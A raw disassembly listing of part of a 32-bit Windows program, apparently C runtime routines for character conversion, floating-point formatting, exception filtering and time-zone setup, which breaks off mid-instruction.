======================================= ; Attributes: bp-based frame sub_4240A6 proc near ; CODE XREF: sub_41F8BF+2D4p ; sub_41F8BF+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_4240B2 pop ebp retn ; --------------------------------------------------------------------------- loc_4240B2: ; CODE XREF: sub_4240A6+8j cmp ds:dword_4DDF74, 0 jnz short loc_4240CD mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4240FF push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_4240CD: ; CODE XREF: sub_4240A6+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push ds:dword_43F194 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push ds:dword_4DDF84 call ds:dword_428180 ; WideCharToMultiByte test eax, eax jz short loc_4240FF cmp [ebp+arg_0], 0 jz short loc_42410C loc_4240FF: ; CODE XREF: sub_4240A6+1Ej ; sub_4240A6+51j mov ds:dword_4DDEB4, 2Ah or eax, 0FFFFFFFFh loc_42410C: ; CODE XREF: sub_4240A6+57j pop ebp retn sub_4240A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42410E proc near ; CODE XREF: sub_420730+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_424131 cmp [ebp+arg_8], ebx jz short loc_424131 mov al, [esi] cmp al, bl jnz short loc_424137 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_424131 mov [eax], bx loc_424131: ; CODE XREF: sub_42410E+Cj ; sub_42410E+11j ... xor eax, eax loc_424133: ; CODE XREF: sub_42410E+42j ; sub_42410E+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_424137: ; CODE XREF: sub_42410E+17j cmp ds:dword_4DDF74, ebx jnz short loc_424152 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42414D movzx ax, al mov [ecx], ax loc_42414D: ; CODE XREF: sub_42410E+36j ; sub_42410E+C0j push 1 pop eax jmp short loc_424133 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42410E+2Fj mov ecx, ds:off_43EF88 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_4241AF mov eax, ds:dword_43F194 cmp eax, 1 jle short loc_424196 cmp [ebp+arg_8], eax jl short loc_4241A0 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_4DDF84 call ds:dword_428184 ; MultiByteToWideChar test eax, eax mov eax, ds:dword_43F194 jnz short loc_424133 loc_424196: ; CODE XREF: sub_42410E+5Cj cmp [ebp+arg_8], eax jb short loc_4241A0 cmp [esi+1], bl jnz short loc_424133 loc_4241A0: ; CODE XREF: sub_42410E+61j ; sub_42410E+8Bj ... mov ds:dword_4DDEB4, 2Ah or eax, 0FFFFFFFFh jmp short loc_424133 ; --------------------------------------------------------------------------- loc_4241AF: ; CODE XREF: sub_42410E+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_4DDF84 call ds:dword_428184 ; MultiByteToWideChar test eax, eax jnz loc_42414D jmp short loc_4241A0 sub_42410E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4241E0 proc near ; CODE XREF: sub_420730+797p ; sub_420730+7E7p cmp cl, 40h jnb short loc_4241FA cmp cl, 20h jnb short loc_4241F0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4241F0: ; CODE XREF: sub_4241E0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4241FA: ; CODE XREF: sub_4241E0+3j xor eax, eax xor edx, edx retn sub_4241E0 endp ; =============== S U B R O U T I N E ======================================= sub_4241FF proc near ; CODE XREF: sub_4211A6+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42424B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_42421D test al, 80h jz short loc_42424B test al, 2 jnz short loc_42424B loc_42421D: ; CODE XREF: sub_4241FF+14j cmp dword ptr [esi+8], 0 jnz short loc_42422A push esi call sub_423C3A pop ecx loc_42422A: ; CODE XREF: sub_4241FF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_42423A cmp dword ptr [esi+4], 0 jnz short loc_42424B inc eax mov [esi], eax loc_42423A: ; CODE XREF: sub_4241FF+30j test byte ptr [esi+0Ch], 40h jz short loc_424251 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424257 inc eax mov [esi], eax loc_42424B: ; CODE XREF: sub_4241FF+9j ; sub_4241FF+18j ... or eax, 0FFFFFFFFh loc_42424E: ; CODE XREF: sub_4241FF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424251: ; CODE XREF: sub_4241FF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424257: ; CODE XREF: sub_4241FF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42424E sub_4241FF endp ; =============== S U B R O U T I N E ======================================= sub_42426D proc near ; CODE XREF: sub_421796+52p xor eax, eax retn sub_42426D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424270 proc near ; CODE XREF: sub_4242A5+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4242BB mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42434D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424270 endp ; =============== S U B R O U T I N E ======================================= sub_4242A5 proc near ; CODE XREF: sub_421A82+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424270 pop ecx pop ecx retn sub_4242A5 endp ; =============== S U B R O U T I N E ======================================= sub_4242BB proc near ; CODE XREF: sub_424270+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4242CC push 10h pop eax loc_4242CC: ; CODE XREF: sub_4242BB+Cj test bl, 4 jz short loc_4242D3 or al, 8 loc_4242D3: ; CODE XREF: sub_4242BB+14j test bl, 8 jz short loc_4242DA or al, 4 loc_4242DA: ; CODE XREF: sub_4242BB+1Bj test bl, 10h jz short loc_4242E1 or al, 2 loc_4242E1: ; CODE XREF: sub_4242BB+22j test bl, 20h jz short loc_4242E8 or al, 1 loc_4242E8: ; CODE XREF: sub_4242BB+29j test bl, 2 jz short loc_4242F2 or eax, 80000h loc_4242F2: ; CODE XREF: sub_4242BB+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42432A cmp edx, 400h jz short loc_424327 cmp edx, 800h jz short loc_424323 cmp edx, esi jnz short loc_42432A or eax, edi jmp short loc_42432A ; --------------------------------------------------------------------------- loc_424323: ; CODE XREF: sub_4242BB+5Ej or eax, ebp jmp short loc_42432A ; --------------------------------------------------------------------------- loc_424327: ; CODE XREF: sub_4242BB+56j or ah, 1 loc_42432A: ; CODE XREF: sub_4242BB+4Ej ; sub_4242BB+62j ... and ecx, edi pop esi jz short loc_42433A cmp ecx, ebp jnz short loc_42433F or eax, 10000h jmp short loc_42433F ; --------------------------------------------------------------------------- loc_42433A: ; CODE XREF: sub_4242BB+72j or eax, 20000h loc_42433F: ; CODE XREF: sub_4242BB+76j ; sub_4242BB+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42434C or eax, 40000h locret_42434C: ; CODE XREF: sub_4242BB+8Aj retn sub_4242BB endp ; =============== S U B R O U T I N E ======================================= sub_42434D proc near ; CODE XREF: sub_424270+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42435D push 1 pop eax loc_42435D: ; CODE XREF: sub_42434D+Bj test bl, 8 jz short loc_424364 or al, 4 loc_424364: ; CODE XREF: sub_42434D+13j test bl, 4 jz short loc_42436B or al, 8 loc_42436B: ; CODE XREF: sub_42434D+1Aj test bl, 2 jz short loc_424372 or al, 10h loc_424372: ; CODE XREF: sub_42434D+21j test bl, 1 jz short loc_424379 or al, 20h loc_424379: ; CODE XREF: sub_42434D+28j test ebx, 80000h jz short loc_424383 or al, 2 loc_424383: ; CODE XREF: sub_42434D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4243B0 cmp ecx, 100h jz short loc_4243AD cmp ecx, esi jz short loc_4243A8 cmp ecx, edx jnz short loc_4243B0 or ah, 0Ch jmp short loc_4243B0 ; --------------------------------------------------------------------------- loc_4243A8: ; CODE XREF: sub_42434D+50j or ah, 8 jmp short loc_4243B0 ; --------------------------------------------------------------------------- loc_4243AD: ; CODE XREF: sub_42434D+4Cj or ah, 4 loc_4243B0: ; CODE XREF: sub_42434D+44j ; sub_42434D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4243C6 cmp ecx, 10000h jnz short loc_4243C8 or eax, esi jmp short loc_4243C8 ; --------------------------------------------------------------------------- loc_4243C6: ; CODE XREF: sub_42434D+6Bj or eax, edx loc_4243C8: ; CODE XREF: sub_42434D+73j ; sub_42434D+77j pop esi test ebx, 40000h pop ebx jz short locret_4243D5 or ah, 10h locret_4243D5: ; CODE XREF: sub_42434D+83j retn sub_42434D endp ; =============== S U B R O U T I N E ======================================= sub_4243D6 proc near ; CODE XREF: sub_424475+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42441B inc esi cmp esi, 3 jge short loc_424416 lea eax, [eax+esi*4] loc_424408: ; CODE XREF: sub_4243D6+3Ej cmp dword ptr [eax], 0 jnz short loc_42441B inc esi add eax, 4 cmp esi, 3 jl short loc_424408 loc_424416: ; CODE XREF: sub_4243D6+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42441B: ; CODE XREF: sub_4243D6+27j ; sub_4243D6+35j xor eax, eax pop esi retn sub_4243D6 endp ; =============== S U B R O U T I N E ======================================= sub_42441F proc near ; CODE XREF: sub_424475+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_4252A0 add esp, 0Ch dec esi js short loc_424471 lea edi, [ebx+esi*4] loc_424458: ; CODE XREF: sub_42441F+50j test eax, eax jz short loc_424471 push edi push 1 push dword ptr [edi] call sub_4252A0 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424458 loc_424471: ; CODE XREF: sub_42441F+34j ; sub_42441F+3Bj pop edi pop esi pop ebx retn sub_42441F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424475 proc near ; CODE XREF: sub_4245D0+81p ; sub_4245D0+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4244D9 inc ebx push ebx push [ebp+arg_0] call sub_4243D6 pop ecx test eax, eax pop ecx jnz short loc_4244D6 push edi push [ebp+arg_0] call sub_42441F pop ecx mov [ebp+var_4], eax pop ecx loc_4244D6: ; CODE XREF: sub_424475+51j mov eax, [ebp+arg_4] loc_4244D9: ; CODE XREF: sub_424475+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4244F9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4244F9: ; CODE XREF: sub_424475+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424475 endp ; =============== S U B R O U T I N E ======================================= sub_424501 proc near ; CODE XREF: sub_4245D0+75p ; sub_4245D0+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_42450F: ; CODE XREF: sub_424501+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_42450F pop esi retn sub_424501 endp ; =============== S U B R O U T I N E ======================================= sub_42451C proc near ; CODE XREF: sub_4245D0+5Fp ; sub_4245D0+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42451C endp ; =============== S U B R O U T I N E ======================================= sub_424528 proc near ; CODE XREF: sub_4245D0+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_42452E: ; CODE XREF: sub_424528+12j cmp dword ptr [eax], 0 jnz short loc_424540 inc ecx add eax, 4 cmp ecx, 3 jl short loc_42452E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424540: ; CODE XREF: sub_424528+9j xor eax, eax retn sub_424528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424543 proc near ; CODE XREF: sub_4245D0+C0p ; sub_4245D0+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424579: ; CODE XREF: sub_424543+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424579 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4245AB: ; CODE XREF: sub_424543+86j cmp ebx, edi jl short loc_4245BE mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4245C5 ; --------------------------------------------------------------------------- loc_4245BE: ; CODE XREF: sub_424543+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4245C5: ; CODE XREF: sub_424543+79j dec ebx sub ecx, 4 jns short loc_4245AB pop edi pop esi pop ebx leave retn sub_424543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245D0 proc near ; CODE XREF: sub_42473C+Dp ; sub_424752+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42463D lea eax, [ebp+var_C] xor esi, esi push eax call sub_424528 test eax, eax pop ecx jnz loc_4246FC lea eax, [ebp+var_C] push eax call sub_42451C pop ecx loc_424635: ; CODE XREF: sub_4245D0+E4j push 2 loc_424637: ; CODE XREF: sub_4245D0+110j pop eax jmp loc_4246FE ; --------------------------------------------------------------------------- loc_42463D: ; CODE XREF: sub_4245D0+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424501 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424475 add esp, 10h test eax, eax jz short loc_42465E inc ebx loc_42465E: ; CODE XREF: sub_4245D0+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424676 lea eax, [ebp+var_C] push eax call sub_42451C pop ecx jmp short loc_4246B2 ; --------------------------------------------------------------------------- loc_424676: ; CODE XREF: sub_4245D0+98j cmp ebx, eax jg short loc_4246B9 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424501 lea eax, [ebp+var_C] push esi push eax call sub_424543 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424475 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424543 add esp, 20h loc_4246B2: ; CODE XREF: sub_4245D0+A4j xor esi, esi jmp loc_424635 ; --------------------------------------------------------------------------- loc_4246B9: ; CODE XREF: sub_4245D0+A8j cmp ebx, [edi] jl short loc_4246E5 lea eax, [ebp+var_C] push eax call sub_42451C push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424543 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424637 ; --------------------------------------------------------------------------- loc_4246E5: ; CODE XREF: sub_4245D0+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424543 pop ecx pop ecx loc_4246FC: ; CODE XREF: sub_4245D0+55j xor eax, eax loc_4246FE: ; CODE XREF: sub_4245D0+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42472D mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424737 ; --------------------------------------------------------------------------- loc_42472D: ; CODE XREF: sub_4245D0+14Ej cmp edi, 20h jnz short loc_424737 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424737: ; CODE XREF: sub_4245D0+15Bj ; sub_4245D0+160j pop edi pop esi pop ebx leave retn sub_4245D0 endp ; =============== S U B R O U T I N E ======================================= sub_42473C proc near ; CODE XREF: sub_424768+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43F908 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4245D0 add esp, 0Ch retn sub_42473C endp ; =============== S U B R O U T I N E ======================================= sub_424752 proc near ; CODE XREF: sub_424795+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43F920 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4245D0 add esp, 0Ch retn sub_424752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424768 proc near ; CODE XREF: sub_421BBB+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_425441 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42473C add esp, 24h leave retn sub_424768 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424795 proc near ; CODE XREF: sub_421BBB+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_425441 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424752 add esp, 24h leave retn sub_424795 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4247C2 proc near ; CODE XREF: sub_421BF9+65p ; sub_421CFD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4247FF mov [ebp+arg_0], ebx xor ebx, ebx loc_4247E5: ; CODE XREF: sub_4247C2+38j mov dl, [ecx] test dl, dl jz short loc_4247F1 movsx edx, dl inc ecx jmp short loc_4247F4 ; --------------------------------------------------------------------------- loc_4247F1: ; CODE XREF: sub_4247C2+27j push 30h pop edx loc_4247F4: ; CODE XREF: sub_4247C2+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4247E5 mov edx, [ebp+arg_8] loc_4247FF: ; CODE XREF: sub_4247C2+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424818 cmp byte ptr [ecx], 35h jl short loc_424818 loc_42480B: ; CODE XREF: sub_4247C2+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424816 mov byte ptr [eax], 30h jmp short loc_42480B ; --------------------------------------------------------------------------- loc_424816: ; CODE XREF: sub_4247C2+4Dj inc byte ptr [eax] loc_424818: ; CODE XREF: sub_4247C2+42j ; sub_4247C2+47j cmp byte ptr [esi], 31h jnz short loc_424822 inc dword ptr [edx+4] jmp short loc_424834 ; --------------------------------------------------------------------------- loc_424822: ; CODE XREF: sub_4247C2+59j push edi call sub_41B1D0 inc eax push eax push edi push esi call sub_41CE80 add esp, 10h loc_424834: ; CODE XREF: sub_4247C2+5Ej pop edi pop esi pop ebx pop ebp retn sub_4247C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424839 proc near ; CODE XREF: sub_421BF9+3Fp ; sub_421CFD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42489D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DE0B0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425912 mov ds:dword_4DE0D8, eax add esp, 18h movsx eax, ds:byte_4DE0B2 mov ds:dword_4DE0D0, eax pop edi movsx eax, ds:word_4DE0B0 mov ds:dword_4DE0D4, eax mov ds:dword_4DE0DC, offset dword_4DE0B4 mov eax, offset dword_4DE0D0 pop esi leave retn sub_424839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42489D proc near ; CODE XREF: sub_424839+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4248EB cmp ebx, edi jz short loc_4248E4 lea edi, [ecx+3C00h] jmp short loc_42490C ; --------------------------------------------------------------------------- loc_4248E4: ; CODE XREF: sub_42489D+3Dj mov edi, 7FFFh jmp short loc_42490C ; --------------------------------------------------------------------------- loc_4248EB: ; CODE XREF: sub_42489D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424903 cmp edx, ebx jnz short loc_424903 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42494E ; --------------------------------------------------------------------------- loc_424903: ; CODE XREF: sub_42489D+52j ; sub_42489D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42490C: ; CODE XREF: sub_42489D+45j ; sub_42489D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424924: ; CODE XREF: sub_42489D+A6j test ecx, esi jnz short loc_424945 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424924 ; --------------------------------------------------------------------------- loc_424945: ; CODE XREF: sub_42489D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42494E: ; CODE XREF: sub_42489D+64j pop edi pop esi pop ebx leave retn sub_42489D endp ; --------------------------------------------------------------------------- push 2 call sub_41DC49 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42495C proc near ; DATA XREF: sub_4249A2o ; seg002:0043F548o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42497F cmp dword ptr [eax+10h], 3 jnz short loc_42497F cmp dword ptr [eax+14h], 19930520h jnz short loc_42497F jmp sub_42277C ; --------------------------------------------------------------------------- loc_42497F: ; CODE XREF: sub_42495C+Dj ; sub_42495C+13j ... mov eax, ds:dword_4DE0E0 test eax, eax jz short loc_42499C push eax call near ptr loc_4249F3+5 test eax, eax pop ecx jz short loc_42499C push esi call ds:dword_4DE0E0 jmp short loc_42499E ; --------------------------------------------------------------------------- loc_42499C: ; CODE XREF: sub_42495C+2Aj ; sub_42495C+35j xor eax, eax loc_42499E: ; CODE XREF: sub_42495C+3Ej pop esi retn 4 sub_42495C endp ; =============== S U B R O U T I N E ======================================= sub_4249A2 proc near ; DATA XREF: seg002:0042A02Co push offset sub_42495C call ds:dword_42801C ; SetUnhandledExceptionFilter mov ds:dword_4DE0E0, eax retn sub_4249A2 endp ; =============== S U B R O U T I N E ======================================= sub_4249B3 proc near ; DATA XREF: seg002:0042A044o push ds:dword_4DE0E0 call ds:dword_42801C ; SetUnhandledExceptionFilter retn sub_4249B3 endp ; =============== S U B R O U T I N E ======================================= sub_4249C0 proc near ; CODE XREF: sub_421FD1+6Bp ; sub_4224E2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0B10000h mov ch, 85h sal byte ptr [edx+eax+33h], 0F6h mov eax, esi pop esi retn sub_4249C0 endp ; =============== S U B R O U T I N E ======================================= sub_4249DC proc near ; CODE XREF: sub_4224E2+73p ; sub_4224E2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0B10000h test [ebp+330274C0h], al loc_4249F3: ; CODE XREF: sub_4224E2+15Bp ; sub_42495C+2Dp test byte ptr [ebx+56C35EC6h], 6Ah sub_4249DC endp ; sp-analysis failed add [esi-1], ebx jz short near ptr loc_424A22+1 or al, ch sti mov ch, 6Eh add [ebx-7Bh], ch sal byte ptr [edx+eax+33h], 0F6h mov eax, esi pop esi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42277C loc_424A10: ; CODE XREF: sub_42277C:loc_4227CDj push 0Ah call sub_4238CD push 16h call sub_425BA5 pop ecx pop ecx push 3 loc_424A22: ; CODE XREF: seg000:004249FDj call sub_41B9B2 ; END OF FUNCTION CHUNK FOR sub_42277C ; =============== S U B R O U T I N E ======================================= sub_424A27 proc near ; CODE XREF: seg000:loc_4228C8p cmp ds:dword_4DE1A0, 0 jnz short locret_424A3B call sub_424A3C inc ds:dword_4DE1A0 locret_424A3B: ; CODE XREF: sub_424A27+7j retn sub_424A27 endp ; =============== S U B R O U T I N E ======================================= sub_424A3C proc near ; CODE XREF: sub_424A27+9p var_4 = dword ptr -4 arg_C = byte ptr 10h push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov ds:dword_4DE0E8, ebp mov ds:dword_43F9E0, ebx mov ds:dword_43F9D0, ebx call sub_425D17 mov esi, eax pop ecx cmp esi, ebp jnz loc_424B65 push offset dword_4DE0F0 call near ptr 0B10000h adc [ebx], edi retn ; --------------------------------------------------------------------------- jz loc_424C94 mov eax, ds:dword_4DE0F0 mov ecx, ds:dword_4DE144 imul eax, 3Ch cmp ds:word_4DE136, bp push 1 pop edx mov 